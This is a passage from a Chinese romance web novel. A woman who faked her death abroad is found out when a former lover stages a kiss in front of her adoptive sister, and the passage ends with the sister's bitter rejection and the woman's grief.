“miya一早就说要吃小蛋糕的,还跟我说,一定要给漂亮小姨也买一个。”Joanne撇了撇嘴,“miya现在是越来越喜欢你了,天天三句不离她的漂亮小姨。” 因为苏青荷长得漂亮,第一次见miya的时候,miya就这样叫她。 苏青荷也很喜欢她,经常抱着她,给她买芭比娃娃,因为miya也和她很亲。 Joanne又把桌上的资料拿过来,放在蛋糕的旁边,“那就拜托你了,谢谢Susan!!” 苏青荷朝她挥挥手,笑说:“去吧去吧,回家陪miya吧。” Joanne提着蛋糕和包风风火火离开办公室,正好玛丽从洗手间回来,看见她下班,忙追问她资料准备好了没有。 Joanne一边跑一边说,都交给了Susan。 玛丽染了一头红头发,她是个咋咋唬唬的人,听见Joanne的话,走过来看向苏青荷,双手叉腰浮夸道:“哦见鬼!Susan你又给Joanne帮忙,哦上帝!看在小可爱miya的份上,原谅她!投标会的资料你收到了吗?” 苏青荷笑道:“我已经收到了,六点前我应该可以整理完。” 玛丽惊讶地拍手,“哦上帝!你简直是我的女神!离开你,我的公司一定会停止运作的!”说完转头喊道:“我的会计在哪里,请给我的Susan加薪!” 苏青荷勾唇笑,瞥见面前的草莓蛋糕,想着还有一会才能下班,就又重新放进了冰箱里。 六点不到,整理完所有的资料,外面的雨还是没有停。 从地库开车到公寓,苏青荷提着蛋糕回家。 忘记带伞,头发还是有些被雨淋湿了。 天气不好,天也黑得越来越早。 她伸手按下墙上的开关,开了好几下都没有反应,才知道,又停电了。 这里停电是常有的事情,刚来的时候,苏青荷还很不习惯。渐渐的,她就会提前在家里备一些蜡烛。L国也常有点蜡烛的习惯,再者这里常年要下雨,蜡烛点燃,能去一点潮气。 跑去厨房,苏青荷拿出两根蜡烛,点了一根在客厅,照亮一点微弱的橙色的火光。 寂静的房间,她坐在椅子上,看着这道烛光,微微失神。 想起旁边的蛋糕,她轻轻拆开来。 一个漂亮的草莓蛋糕。 今天是十月十七。 姐姐的生日。三十岁的生日。 拆开小袋子里的蜡烛,她一一点燃,插在蛋糕上,火光明亮四起,她恍惚地呆坐在那里,看着蜡烛燃了大半。 衬衫半湿,有些冷。 她蜷起双脚踩在椅子上,抱住双膝将脸埋起来,寂静无声的房间里,似乎连自己的心跳声也听不见。 她不知道,这样的寂静有多久了。 只觉得思念像缠绕起来的网,裹挟得她无法呼吸。 第二天早上八点,苏青荷开车独自到约定好的投标现场。 她的工作是翻译,对标的产品是法国人,又同时需要英语和意大利语,三方翻译。 她提前到了现场,熟悉了一会流程和资料。到九点多,玛丽才过来。 AM是一家杰出优秀的翻译公司,两年前,苏青荷因无意中结识了Joanne,Joanne就向玛丽推荐了她,因此这两年,她一直都在这里做翻译工作。 她的二外是法语,这两年又辅修了意大利语。在语言天赋上,苏青荷一直是万里挑一的。 这两年来,整个AM,包括玛丽都认定苏青荷是她们翻译社里的最杰出优秀的人才,Joanne能找到这样一个人,简直是挖到了宝。 这次投标双方合作的产品和医药有关,因为是进口药物,所以两边一个是法国人,一个是意大利人,但偏偏两边的负责人英文不专业。 就需要苏青荷在中间用英文当媒介,涉及了一些药物名次,需要专业的没有歧义的正式翻译。 玛丽对她说:“哦这个翻译工作也是临时接的,让你周六还在加班,真是非常抱歉!但对方是一家医院,居然主动推荐了我们翻译社,真是见鬼!” 她们和医药相关的行业从来没有交集,之前也没有合作过。 玛丽一边狐疑,一边还是接了这个工作,算是新领域。 十点正式开场,两方代表人进场,苏青荷望见玻璃门里的背影一愣。 乔楠抬头,侧目看见她,没有转头与她对视,也没有任何交流。 原来合作的那家医院代表房,是乔楠。 苏青荷略忐忑地走进去,两方代表寒暄过后,由玛丽介绍了双方,和AM的翻译社,同样也包括苏青荷。 乔楠抬眼,与桌子对面的人对视了两秒,随即调转。 整个投标过程一直持续了近两个小时。大头翻译几乎全由苏青荷完成,玛丽做在一旁辅助。 同传是一件极其考验能力的工作,译者不仅需要高超庞大的翻译能力和词汇,还需要高度集中的注意力,不能有任何的疏漏和差错。 苏青荷对医学类上的专业知识并不在行,一些专业名词也是昨晚和早上突击记住的。 但还是有不足的地方,快结束的时候,忽然忘记了刚刚前面提到的一个药物,因为讨论拉的太长,换了主体,她一时也忘记了什么药物有什么作用,一时间没有对应的上。 正卡壳间,两方僵了一下。 另一头乔楠忽然开口提示道:“perphenazine,主要用于中度症状控制的精神类药物。” 苏青荷抬眸望向她,朝她轻点了下头以示感谢,随即继续工作。 一直到十二点半才结束,双方合作愉快,又在附近的西餐厅订了位置。 一行十个人,两两面对面。 乔楠有意坐在了苏青荷对面。 苏青荷手里拿着刀叉,低头道:“你早就知道我在AM了,是么?” 十天以前,她收到一份快递包裹。 快递寄件人是个陌生的地址,寄件人是QIAO。她就猜了出来,乔楠知道她的所在。 两年前,她在小岛不告而别。 可L国太小,她的身份是乔楠给的,所以找到她,对她来说不是什么难事。 乔楠将盘子里切好的西冷换到了她面前,道:“我记得你最喜欢西冷牛排,这家餐厅的大厨是个有名的厨师,你尝尝看,喜不喜欢?” 苏青荷望着面前切得齐整的牛排,恍惚片刻,才抬头看她:“乔楠,我——” “抛开一切,我们连朋友也不算了么?”乔楠对上她的眼睛,温柔说道。 苏青荷沉默住,没有说话。 乔楠也低下头,淡声说:“我父母,上个月去世了。” 苏青荷愣了下,忙抬头看向她,问:“怎么回事?” “车祸意外。”乔楠道,“我回国办完葬礼,上个月刚回来。” 苏青荷抿住唇望着她,想说一些安慰的话给她,可最后又没有开口。 世事无常,仿佛没有人能过好这人生。 乔楠低头切着牛排,无意识地开口道:“父母去世后,我才忽然发现,这世上只剩下我一个人了,一个人过日子,一个人生活,寂静与孤单交替笼罩着,人生其实没有那么美好。” 苏青荷轻攥手里的叉子,淡声道:“或许,求心安就是最好的解决办法,万事看开吧乔楠。” 乔楠抬头,问她:“你现在心安吗?” 苏青荷顿住,静静沉默。 “我回A市,看见苏青沅了。” 苏青荷倏地惊了下,手里的叉子砸在盘子里,发出刺耳的一串声响。 乔楠微怔,望着她略慌张的失控,双眸里染上落寞和悲伤。 收回视线,她低头继续道:“我没有告诉她,你还活着。她看着我的眼神里,依旧充满冷漠和敌意,或许她一直恨我,恨我当初的出现,造成你们之间的裂痕。有时候,一些事情因果循环,早在开始就注定了结局,我们都没有办法回到,那条原本没有走过的路。” “荷荷,你爱她吗?”乔楠看着在她面前低着头的人,忽然开口问道。 第46章 餐厅里嘈杂,三三两两交谈着,苏青荷低头看着面前的餐盘。 或许是时间的力量,也或许是平淡的力量,她比从前任何时候要从容,要坦然。 她承认道:“是的,我爱她。” 乔楠双眸慢慢垂下,眼里的光芒熄灭。她明明知道答案,却还是不死心地问了这一句。 时间的确是可以抚平一切的。她依稀还记得从前,那仿佛就在昨天,在耳旁,在那个地铁站口的位置,她靠过来,贴在她唇边说“我爱你”。 可时间多残忍,那些她们的曾经与从前,全都褪色没有了。 这是一种无能为力的无可奈何,除了接受,没有任何方法。 她也该要承认,荷荷爱过她,只是后来不爱了。 晚八点,一行人出了餐厅。 外面又在飘着缠绵细雨,乔楠抬头看漆黑的天空,转头看向面前的背影,细高跟,长长齐腰的长发,十年了,她从前十六岁,如今是二十六岁,稚嫩不再,年少不再,取而代之的是从容与淡然,却比从前更美丽。 “我送你吧。”乔楠开口说。 苏青荷微怔,没有回头只说:“我开了车。” 乔楠淡淡道:“好。” 苏青荷撑伞离开,乔楠看着雨雾里的背影,忽然舍不得地喊住她:“荷荷——” 苏青荷停住脚,停了片刻回头去看她。 乔楠冲过去伸手拥抱住她,“我们还会是朋友吗?空荡荡的异国他乡,我没有亲人了。” 苏青荷感受到这个怀抱里的依恋与卑微,她想伸手回抱她给她安慰,可手臂停在半空中又落下来了,她承认对乔楠,一直都有亏欠,她轻轻道:“我们永远都是朋友。” 目送那背影越走越远,乔楠忽然觉得恍惚。是谁说,人永远不要走回头路。 可又不止一次地想过,如果当初她没有离开A市,是不是她们的结局就会不一样。 可是,可是人生没有如果…… 苏青荷开车回家,一路上寂静无声,脑子里空空荡荡,思绪纷飞。 她忽然想起许多从前的事,几乎一切都与姐姐有关。 她有过犹豫与挣扎,她也明明知道,这样对姐姐有多残忍,可是……可是她好像无法说得清楚了。 像骑在马背上那样,两年多漫长,可又一下子过去了,她在犹豫里过了这两年,似乎除了这样继续下去,没有第二个选择。 回到家,苏青荷站在玄关处,看见那柜子上那个迟迟没有拆开的包裹。 是乔楠寄来的。 她伸手拿过来,拆开,发现是那只熊猫挂件。 记忆也早就模糊了,关于这只熊猫挂件,她想到的,竟然是姐姐和她冷战的半年。 那是她们后来搬家,无意中翻到这只熊猫挂件,姐姐因此生气,和她冷战了近半年的时间。 想起那后来的种种,她们纠缠,和好,那仿佛是久远的从前。 苏青荷轻轻抿起唇,无声笑了一下。 或许是乔楠的出现,苏青荷频频回忆起过去。 她鬼使神差地点开回国的机票,翻阅良久,在最后付款的那一秒,忽然又放弃。 屏幕上跳出来邮箱留言。 是一封来自国内的邮件,她点开来,发现是《浓烈》的读者留言。 【请问,你是不是水荷本人?《淡味》反义词是《浓烈》,我总觉得冥冥之中,你们是同一个人。总之,不管是不是,我都很感谢你给了她们姐妹最好的结局。或许,结局本该是这样的,抵过流言蜚语后的情感,虽然历经了一层风霜,可这风霜让她们比从前更爱对方。爱情仿佛就是不讲道理的,伤害过后,依旧还是无法舍弃,就好像站在悬崖边,非得要跳下去才可以证明我爱你那样。如果问一个人:“你是否爱她?究竟有多爱?”她告诉你:她会像爱生命那样爱你。可是怎样证明呢,好像只有残忍地把它变成事实,才能够证明,你的确爱她超出自己的生命。很疯狂,很无理取闹是不是,可仿佛这就是爱情的证明。真的很谢谢你,填满了我的遗憾。】 苏青荷看着这封邮件,久久陷入怅惘。 《浓烈》是她重新注册笔名,改了《淡味》大纲结局的新作品。更新于两个月前。 有时候,不知道是自己变了,还是看故事的人变了,从前那些指摘,变成今天的感慨与惋惜。 或许是她变了吧。 她把遗憾写进故事里,给了另一种圆满,也填补了她的思念。 两个月后,国内。 苏氏集团顶楼办公室外,何修美在上班摸鱼,正发呆之际,身后突然有人喊了她一声:“又发什么呆呢?!” 何修美忙反应过来,低下头揉眼睛。 徐琦愣了下,看见她脸颊上有泪痕,忙问:“发生什么了?” 何修美抽了两张纸巾,擤了下鼻涕和眼泪,摇摇头没说话。 徐琦看见她面前电脑上的小说,笑着说:“又看你的苦情悲剧小说,当心苏总看见炒你鱿鱼!” 何修美深吸了口气,抬头看向徐琦,开口道:“徐琦姐,你说,青荷会不会没有死?” 徐琦愣了下,脸上的笑容僵住。 “你提这件事干什么?” 何修美把电脑转过去,给她看。 徐琦看见她屏幕上的小说名称,是《淡味》,也就是苏青荷没有完结的那篇小说。 “这本书不是断更了么?” 何修美:“对啊,都两年多快三年了,我前两天刚点进去,发现底下评论区有人推荐了另一本,说是续集。” “别人写的同人吧。” “我刚开始也以为,但是我今天看完,发现写的太好了,文笔都好相似,你说会不会是青荷没死,她活在世上的哪个角落?” 徐琦拧眉,不悦地看向她,“我警告你,以后这样的话不要乱说,当心苏总听见。” 何修美忙抬手捂住嘴巴,点了点头。 圣诞前夜,L国放假一周。 苏青荷窝在家里睡觉,上午十点不到,楼下就传来门铃声。 直响了近十分钟,她才拖着打架的眼皮去开门。 乔楠大包小包手里拎着袋子站在门口,看见眼前的人睡眼惺忪,头发也乱糟糟的,她笑道:“怎么还没有醒?” 苏青荷说:“昨晚失眠。” 乔楠提着袋子走进去,直奔厨房。 苏青荷恍惚了一下,半晌才想起来,她站在门口转身看向厨房里的身影,无奈地说:“乔楠,我说了,你不用来给我做饭的。” 自从上回相遇后,乔楠偶尔周末总会跑过来给她做饭,苏青荷说了很多拒绝的话,可乔楠总是以朋友之称,来堵她的口。 异国他乡,她们算是唯一最亲近的人了,陌生的国度,陌生的脸庞,这样的亲近,总是格外带着一些亲切。 苏青荷平时没什么娱乐,周末也总喜欢窝在家里。再加上她一个人,总不喜欢做饭,总是到外面吃,乔楠就隔三差五地跑过来陪她。 苏青荷穿着睡衣走过去,看着乔楠把食材一一分门别类装进冰箱。 “我们楼下有餐厅的,什么都不缺。” 乔楠:“可是圣诞放假都关门了,连超市都关门了,这几天大雪,你不囤一点东西,这几天怎么过?” 苏青荷愣了一下,她倒是忘记这回事了。昨天白天还想着囤食材的,奈何晚上下班太晚,超市都已经关门了。 乔楠看着她笑道:“好了,不用和我计较什么,我刚搬来连斯,什么朋友都没有,圣诞节她们都要回家陪亲人孩子,我一个人冷冷清清,两个人吃饭,好歹有个伴,对不对?就算你心里没有我了,但是,我们连朋友都做不成么,我连关心你和你吃饭的权利,也没有了吗?” 苏青荷被她说得无力反驳,呆呆地站在原地没有动。 乔楠抿唇,“去洗漱吧,我给你做罗宋汤。” 苏青荷咬了下唇,转身要上楼,走了两步忽然又停住脚,回头说:“我不喜欢罗宋汤,我不能吃洋葱。” 她对洋葱过敏,一吃就咽喉肿痛。 乔楠笑着答应,又问:“那奶油蘑菇汤呢,喜欢吗?” 苏青荷没有拒绝。 吃完饭后,乔楠在玄关换鞋要离开,并嘱托她:“这几天我可能就没时间过来了,我买了好多种食材,你应该可以吃几天,自己一个人,也要好好吃饭睡觉,知道吗,不要动不动就懒得吃,身体是要调养的,定时定点进餐很重要,知不知道?” 苏青荷心里有一阵暖流涌过,冒着大雪天开车过来,就是为了给她送食材的。 “我知道了,你放心吧,谢谢你。” 乔楠看了眼时间,有些着急,“好,那我就先走了,有些来不及了。” 苏青荷问她:“发生什么事了吗?” “没事。就是我们医院院长今晚举办晚宴,来的人不少,我得过去帮忙。” 苏青荷点点头,又对她说路上开车当心之类。 下午三点,A市一架国际航班飞抵L国市区。 一出站,就有几个意大利人接机。 “嘿苏总,欢迎来到连斯!” 苏青沅摘下墨镜,朝眼前的人轻点头,“谢谢。” 徐琦跟在她身后,一起跟随人群上了车。 傍晚时分,霍桉顿庄园内,罗伯茨夫人八十岁的生日晚宴在今晚举行。 罗伯茨年轻的时候,曾和苏贺安有过交集,苏贺安去世后,罗伯茨还亲自飞回国参加葬礼。所以这一次罗伯茨夫人的生日宴,也邀请了苏青沅。 乔楠也是晚上看见了晚宴受邀名单,忽然才发现,苏青沅回到L国来。 宴会过半,乔楠看见站在窗户下的背影,犹豫了半天,最后走过去。 “苏青沅,好久不见了。上次A市匆匆一别,想不到会在这里再次碰见你。” 苏青沅没有回头,她也早就发现了乔楠也在这里。 因为荷荷的原因,对于乔楠,她从来也都是恨意居多。有些事情,不需要捅破,无论当初如何,她都没有办法,要跟她平淡从容地说话。 “我想我们并不熟。乔小姐。”苏青沅冷声开口道。 乔楠听出来她对自己的冷漠和敌意,她们总共加起来没有见过几回面。 但无一例外的,苏青沅一直都是厌恶她的,她厌恶自己曾经和荷荷在一起过。 可是不知道为什么,自A市见面之后。乔楠看见变得不一样了的苏青沅,忽然生出一种对弈的畅快来。 这一点,是基于这个世上,只有她一个人知道荷荷没有去世这件事。 她也忽然想起她和荷荷去卉南的那一天,在医院里,苏青沅故意使计,给她难堪。 乔楠眼梢微垂,想起往事,轻笑着开口:“你不必要对我愤怒,荷荷离开我,尚且有你的因素在,可是荷荷离开你,却和我没有任何瓜葛。苏青沅,这就是因果轮回。” 苏青沅捏紧掌心,心口钝痛,她不想理会她,转身要走。 乔楠忽然又喊住她:“想见一个人吗?” 第47章 夜晚,苏青荷忽然接到乔楠的电话。 “喂,荷荷,你睡了吗?” 苏青荷微怔,道:“还没有,怎么了吗?” “我车子抛锚了,打不到车,你能过来接我一下吗?” “好,你等我下,你在哪里,我现在过去。” “我把地址发你。” 半小时后,苏青荷开车到霍桉顿庄园外,她远远看见了乔楠,乔楠也看见了她的车,她先跑过去。 拉开车门进去,苏青荷看见她头发上有刚化的雪水,忙抽了几张纸给她,“擦一下吧。” 乔楠坐在那里没有接,低着头半晌不语。 “乔楠……”苏青荷轻轻喊她。 乔楠转头,抬眼看向她,目光温柔缱绻,落在她的脸颊上。 苏青荷被她看得微微怔住,她疑惑了下,低头看自己身上,“怎么了乔楠?” 乔楠伸手接过她手里的纸巾,顺势捧过她的脸颊,淡声说:“脸上抹到什么了么?” 掌心微凉,贴在她脸颊上,狭小的车厢里,苏青荷有些透不过气来,忙伸手要推开她。 乔楠没有放手,双手捧住她的脸,注视着她说:“荷荷,我爱你。我从来没有停止过爱你,或许从此以后,我就真的失去你了,可是我还是要告诉你,我爱你。” 苏青荷愣住,望着乔楠深情的双眸,那双眼睛里盛满哀伤与眼泪,她忽然就忘记了反应。 乔楠轻轻低头贴过来,唇瓣相碰的瞬间,远处一束车灯忽然刺过来。 苏青荷下意识闭上眼睛躲避,转头看过去,她恍惚了半秒,等到看清的时候,整个人蓦地惊在原处。 没有一刻,会比此刻慌乱。 即便一个轮廓,苏青荷就认了出来。 是姐姐! 苏青荷解开安全带,掉头就要下车。乔楠,突然拉住她,伤心地喊:“荷荷不要走——” “放手!”苏青荷失控地喊,“放手啊!” 乔楠看见她眼睛里的崩溃,这样失控的苏青荷,她从来没有见过。 绝望地松开手,乔楠看着她冲过去。 苏青沅坐在不远处车里,看着朝她奔来的人,她情愿自己看错了,也情愿自己没有到L国来。 两年多了,她也侥幸地设想过无数次的场景,想她会不会还活在这个世上,只是她看不见的地方,可她从来没有想过,她会和乔楠在一起。 车窗外传来不断拍打的声音,苏青沅低头垂泪,她抿起颤抖的唇,忽然哭着笑。 没有看向窗外的人,苏青沅发动车子,决绝地驶离开这里。 苏青荷哭着追出去,可车子开走了,她追不上,最后跌落在地,崩溃地嚎啕大哭。 乔楠追过去,伸手扶住她,悲伤地喊她:“对不起荷荷……” 苏青荷掉过头看向她,双眸里满是猩红与绝望,她哭着控诉:“为什么!你为什么要这么做!你是故意的,你是故意的!” 苏青荷知道,她伤透了姐姐的心。 两年,她可以消失,可以死去,却唯独不可以和乔楠在一起! 姐姐有多在意这一点,没有人会比她更清楚。只不过一个熊猫挂件,能让她与她冷战半年,她无法想象,这一次会发生什么。 她无法解释,这消失的两年,成了她百口莫辩的佐证,她无法说得清楚了。 乔楠望着眼前彻底失控哭得崩溃的人,知道这一次是她做得过分了,她*也承认自己有一部分私心在,在苏青沅面前,她是一个彻头彻尾的失败者,这一点点的报复心理,让她在那一刻顾不得荷荷的感受了。 乔楠蹲下来,要伸手替她擦眼泪。 苏青荷伸手挥开她,眼里只剩下决绝,她没有说一个字,站起身离开。 走到车旁,苏青荷拉开车门,抬眼瞥见一旁站着的人,是徐琦。 徐琦望着她,像是不肯相信自己的眼睛,明明两年前她亲自也是在L国,警方告诉她们,眼前的人溺亡在深海里,可此时此刻,就出现在她面前。 “徐琦姐。”苏青荷声音里有哭腔,她抑制不住悲伤,低头轻声喊了她一声。 徐琦目光里有失望,她深深看了她一眼,无奈地开口:“荷荷,你不该这样对她。” 苏青荷崩溃地低头啜泣,手指攥扶住车门,一个字也说不出口。 徐琦:“如果你知道这两年她是怎么过来的,你不会舍得这样对她。” “对不起,徐琦姐。” “你不该对我说。”徐琦看着她道。 苏青荷抬头,眼泪从眼眶里滴落,求她道:“我想见她。” 徐琦知道,苏青沅此刻不一定会想见她,可心里却又知道,苏青沅舍不得她。无奈之下,徐琦还是带了苏青荷到了她们入住的酒店。 苏青沅没有回来,徐琦给她打了电话,手机也显示关机。 徐琦说:“她不知道什么时候能回来。” 苏青荷:“我在这里等她,不管多晚,我都在这里等。” 已经深夜了,徐琦知道她们姐妹之间,今晚注定会有一场纠缠在,她也并不合适在这里陪着她一起等。 徐琦道:“好,那我先回去了。” 苏青荷眼眶发红地点头。 徐琦转身离开,走了两步后又回头,犹豫着开口问她:“你……和那个乔楠……” “不是你想的那样。” 徐琦不知道她们之间的纠葛,也没有多问下去,只道:“你向她解释吧,也但愿你能解释得清楚。” 苏青荷望着她,浑身抑制不住地颤栗。 她不知道自己一个人站在那里究竟等了多久,只觉得两年的时间也没有这样漫长。窗外无边的漆黑笼罩着她的世界,她就站在那里,等了很久很久,最后靠坐在门边,一直等到了天边有了明亮。 清晨,苏青沅回来。 走到门口,抬眼看见坐在地上的人。 像是在做梦,不真实到让她觉得恍惚。那死去消失的人,此刻就出现在她眼前。她有多想她,没有人知道,可是,可是……她为什么舍得这样伤害她…… 苏青沅走到她面前,一点点蹲下来,望着她消瘦的脸庞。 两年的时间,她变得和从前一点都不一样了,即便闭上眼睛,也依旧充满了哀伤。 苏青荷猛然惊醒过来,睁眼的瞬间,眼前的脸庞映入眼帘,整个人倏地愣住。 “姐……” 苏青沅微怔,眼里的悲伤被冷漠取代,她轻轻站起身,不肯看她。 苏青荷伸手抓住她,紧紧攥住不肯松手,沙哑地喊了一声:“姐,对不起……” 苏青沅扶着门把手的手停住,“放开。” 苏青荷哭出声,不住地道歉:“对不起姐,是我不好,可是你听我解释,我……” “好啊,你想解释什么?”苏青沅一颗心几乎疼得麻木,忍着眼泪,她抬头看她,“是解释你为什么还活着,还是解释你整整两年多的不告而别,还是解释……你宁愿用这样的方式离开我,去和别人在一起?” 苏青荷眼泪从眼眶里滑落,“我……” “荷荷。”苏青沅平静地喊她,“我从来没有想过,你会恨我到这样的地步,恨到要借别人的口来告诉我,你还活着。我不要听你的解释,你的任何解释,都不会起任何的作用。” 苏青沅挥开她,要开门进房间。 苏青荷哭着拉住她,从身侧抱住她,哭着说:“我没有恨你,我从来没有恨你,姐,我爱你,我爱你……” 苏青沅垂眸,眼泪滴落在尘埃里,她讽刺地轻笑了一声,道:“你不爱我,你从来就不爱我,你不过是我勉强而来的苏青荷。承认么荷荷,这根本不是爱,你或许依恋我,舍不得我,可是你不爱我。你不用向我道歉,如果这是你的决定,我接受。你愿意和谁在一起,我都不会再干涉了。” 她低头,开口道:“苏青荷,我不要你了。” 说完,苏青沅决绝地挣开她,推门进去。 苏青荷被她推得踉跄地在原地,被那最后一句话伤得彻底崩溃绝望,她什么都无法开口,也什么解释都是苍白无力的。 她捂住眼睛蹲下去,哭得浑身都在颤抖。 她犹豫过无数次,也无数次有过想要回去的念头。 可是,可是她不知道自己怎么了,就像姐姐说的那样,如果她爱她,她怎么会舍得用这样的方式离开她…… 是她太理所应当,太过笃定姐姐对她的好和爱,所以肆无忌惮地伤她的心,也侥幸地想,不论何时何地,姐姐都会在原地等她。 可是,可是……是她错了,这一次,真的是她错了…… 第48章 苏青沅站在门后玄关处,漆黑笼罩住她,依旧像是恍惚做梦一样,她失神地低头哭着,终于承受不住悲伤与痛苦,整个人靠着门滑落在地。 双手抱住膝盖,她头低下去,浑身颤抖地一点点啜泣。 都是假的,全都是假的,那无数的回忆与美好,在这一刻全部褪色消散了。 说爱她,说会永远都不会离开她……其实都是假的,她无法再自欺欺人地告诉自己了。荷荷根本就不爱她,她也终于明白,一切都是假的。 是她太蠢,也是她太自负。 她总认定自己在荷荷心里一直都有份量在,可事实证明,从前的自己有多可笑。 没有哪一刻,会比此刻更痛彻心扉。 苏青沅哭得两肩颤抖,绝望地几乎要在这个房间里死去。 整整两天,苏青沅没有出过门。 苏青荷也一直守在门外不肯离去,徐琦看着姐妹俩互相伤害,心里也不由地跟着难受。 其实她能看出来,她们彼此都是在乎对方的。可是,可是这一次,真的是苏青荷错了,她千不该万不该,竟然用这样的方式离开苏青沅。 她也后来才知道,她们不是真正的亲姐妹,她们之间,毫无血缘关系。 可在苏青沅的心里,这个世上没有任何一个人能比得上苏青荷,苏青荷就是她生命的一切。 可这一场假的溺亡逃离,几乎就可以将苏青沅杀死。 这样的伤害,实在太重了。 徐琦也无法说服自己,要如何才能原谅苏青荷。 第二天晚上,苏青荷终于撑不住,胃疼地浑身抽筋。她伸手敲门,可屋里的人根本不肯看她一眼。 不知过了多久,只觉意识混沌,苏青荷在门口倒了下去。 神色恍惚中,有人抱起她,不住地喊她:“荷荷,荷荷……” 不知道昏睡了多久,苏青荷睁眼醒过来的时候,就看见坐在床边椅子里已经睡着的人。 两年,久到她快要忘记记忆中姐姐的样子了。她也从来不知道,时间可以这样残忍。 她几乎无时不刻都在想念的人,竟然有一天,也会忘记她的样子。 她瘦了,瘦了很多很多。 “姐……” 苏青沅睡眠极浅,只这样轻轻的一道低喊,她立马就醒过来。 这是这两年里的毛病,她睡不着,也睡不了长觉,一整夜总要醒醒睡睡无数次,一点点的动静,就可以把她惊醒。 还没有睁开眼睛,只听到这道声音,她本能地就惊醒过来,这两年里,她也常常幻听,这道她幻想了无数次的声音,也终于在此刻,和梦境里的合二为一了。 苏青沅望向床上的人,恍惚间,眼里本能的温柔和思念,在片刻之后,变成了冷漠与淡然。 苏青沅不看她,冷声道:“你走吧,我说了,我不恨你,也明白了你的选择,所以我不会干涉你。” 苏青荷看着她,眼泪从眼眶里滑落进头发里,她摇头哭着说:“不是的,姐,我要你,我不想离开你。” 苏青沅听见她带着哭腔的声音,本能地心软,可是这一次不能够。她垂眸坐在那里,听见她的话,只觉讽刺与可笑,“你要我么,可我实在无法相信,荷荷,你从来都是心口不一的,你要我怎么相信你?” “你懂两年前接到你失踪的消息那一刻,我是什么样的心情吗?你又懂我看见警方打捞上来你随身带的包的那一刻,我又有多么害怕么,我站在那海边,漆黑茫茫深不见底,望不到尽头,那一刻,我无法接受,你离我而去……两年了,时间每分每秒都像刀一样凌迟着我,我无法闭眼,也无法睡着,我甚至无法让自己停歇下来,只要一停止思考,所有的痛苦和思念,就像洪水猛兽一样把我吞掉……可是……可是荷荷,你让乔楠来告诉我,你还活着……我无法想象,你口口声声说爱我、要我的份量。” 苏青沅说不下去,她抬手抹去脸颊上的泪痕,起身背过身去,不肯看她。 苏青荷早已满面泪痕,她知道自己这一次伤透了姐姐的心,也没有哪一次,会比这一刻更让人绝望。 她起身走过去,从身后抱住她,哭着对她解释说:“对不起姐,我不是成心的,两年前是乔楠救了我,我当时昏迷了三个多月,我有想过回去的,可是,可是我不知道怎么了,我害怕回去,害怕见到那些目光,害怕所有身边的一切……我甚至想过,如果我真的死在了海里,那一切痛苦是不是就都可以彻底消失了。我没有勇气面对你,也没有勇气再继续从前的生活,所以我犹豫了,我无数次想过要回去的,可是,可是我没有来得及,就先见到了你,姐,真的对不起,我也发誓,我没有和乔楠在一起,当年昏迷醒来后我就离开了她,不过一月前我们才遇见,我不爱她,早在很久很久以前,我就对你说过,我不爱她,你相信我,姐,你相信我好不好?” 苏青荷啜泣地将心里所有的话全都解释了出来,她也知道,这样的解释太苍白太无力,可她还是想要把一切的前因后果还有犹豫不决全都告诉给她。 她不知道到底能起几分作用,但是她不愿意姐姐误会她。她明白,乔楠一直是她们从前之间的疙瘩所在,她不想姐姐因为这一点误会她。 苏青沅低头垂泪,望见腰上环住的双手,背上是熟悉的温度和怀抱,她做梦都在想念的怀抱,可是,她觉得心好疼。 “以前你无法接受,怎么,现在你就可以接受我们的关系了吗?”苏青沅伸手掰开她的手指,将人拉扯开,“你凭什么会认定我可以随你摆布,是你要回头,我就要回头么,告诉你,我已经决定不要你了,你走吧。” 苏青沅扯开她的怀抱,抓住她的手就要将她赶出去,苏青荷哭着不肯走,她重新贴过去,双手勾住她的脖颈,仰头就要吻上她的唇。 苏青沅拧眉抓住她的手腕,怒意涌上来,气道:“够了苏青荷,你还要无理取闹到什么地步?!” 苏青荷停住,泪眼朦胧,望着她哭红的双眼,声音沙哑倔强地问:“姐,你还爱我,是不是?” 苏青沅沉默,眼泪从眼眶滴落,她抬起眼,目视着眼前那双眼睛,冷漠开口:“在你和乔楠出现车里的那一刻,我就决定不再爱你了。” 苏青荷顿住,心口像被人剜去一块,她忽然明白痛到死去是一种什么样的感受了。 眼梢轻垂,眼泪滑落下来,苏青荷不管不顾地抬头吻她的唇。 “她也是这样吻过你的,是么?” 一句平静的话,让最后的希望也破灭了,苏青荷感受到眼前无动于衷与冷漠的人,一颗心彻底死去。 苏青沅单手握住她的脖颈,眼泪滴落,望着她漂亮凄美的脸庞,开口道:“她告诉我,她的初吻是你,她也告诉我,你还答应她,永远都不会离开她,荷荷,你来告诉我,究竟哪一个,才是真正的你。” 眼泪流进掌心里,苏青沅捏住她的脸颊,盯着她的眼睛痛彻心扉地说:“我宁愿你在两年前就死了。” 苏青荷彻底绝望,仰起脸庞望着她,两行清泪流淌下来。 她不知道自己是怎么出了房间的,也不知道自己是怎么出了酒店。 漫天飞雪,模糊了她所有的视线。 天灰蒙蒙地什么也看不见,车来车往满是泥泞,她像掉进冰窟窿里,浑身都冷得没有知觉,漫无目的地独自走在街上。 “荷荷不怕,姐姐在,姐姐在这里。” “你还有我,荷荷,你不会一个人,这世上永远有我陪着你,你不要害怕,我们是一体的,永远都不会分离。” “好,姐姐抱着你。” “荷荷,你爱我么,告诉姐姐,你爱我。” “没有关系,就这样也很好。不论是什么样的关系,我们都永远无法分离,是不是?” “不要抛弃我荷荷,我可以失去一切,唯独无法失去你。” “荷荷,我请求你,把你世界里的所有人全部清除出去好么,只留我一个人。你不需要关注他们,这个世界上,其实只有我们两个人而已,他们不值得你耗费这样多的力气去纠缠和内耗,真的不值得。” “荷荷,不管发生什么,你不能抛弃我,知道吗?我告诉过你,我不能失去你,无论如何,我都不能失去。” “……” 过去的记忆一点一点涌进她的脑海里,她也从来没有发觉,自己会爱她到这样的地步。 其实爱意早已显露,也早已刻在她的骨血里,姐姐也不止一次地告诉过她,她无法失去她,可是,可是她还是用了最残忍的方式伤害了她。 她爱姐姐么? 是的,她爱。 可是这样的爱,要用失去来证明。 所以最后的结局,也应该是失去。 这是她亲手选择的,不是么? 哪里有什么理所应当,她凭什么要姐姐原谅她的伤害,是她太过分,也是她活该。 也没有任何再解释的必要了,解释也不过是另一种伤害,她亲手做出的选择,又有什么可以解释的? 天空愈沉,苏青荷抬头仰望,雪花飘落进她的眼睛里,化作温热的眼泪。 她不知道自己要去哪里,也不知道自己究竟该做什么,更不知道这样的生命还有什么意义。 